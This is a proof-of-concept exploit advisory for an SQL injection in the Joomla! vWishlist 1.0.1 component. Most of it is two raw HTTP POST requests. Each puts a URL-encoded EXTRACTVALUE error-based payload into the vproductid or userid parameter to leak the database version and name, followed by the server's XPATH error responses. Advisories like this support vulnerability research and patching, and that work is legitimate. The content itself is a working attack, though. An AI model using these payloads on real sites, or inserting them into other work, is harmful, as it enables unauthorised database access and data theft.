Joomla! vWishlist 1.0.1 SQL Injection

`# Exploit Title: Joomla! Component vWishlist 1.0.1 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-23  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://wdmtech.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/extension-specific/virtuemart-extensions/vwishlist/  
# Version: 1.0.1  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]//  
#   
  
POST /[PATH]/ HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 372  
Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
option=com_vwishlist&task=wishlist&wishval=1&userid=711&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58: undefined  
HTTP/1.1 500 XPATH syntax error:...  
Date: Tue, 22 Jan 2019 21:54:01 GMT  
Server: Apache  
X-Powered-By: PHP/5.6.16  
X-Logged-In: True  
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"  
Cache-Control: no-cache  
Pragma: no-cache  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
  
# POC:   
# 2)  
# http://localhost/[PATH]//  
#   
  
POST /[PATH]/ HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 372  
Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
option=com_vwishlist&task=wishlist&wishval=1&userid=711%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48: undefined  
HTTP/1.1 500 XPATH syntax error:...  
Date: Tue, 22 Jan 2019 21:53:42 GMT  
Server: Apache  
X-Powered-By: PHP/5.6.16  
X-Logged-In: True  
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"  
Cache-Control: no-cache  
Pragma: no-cache  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
`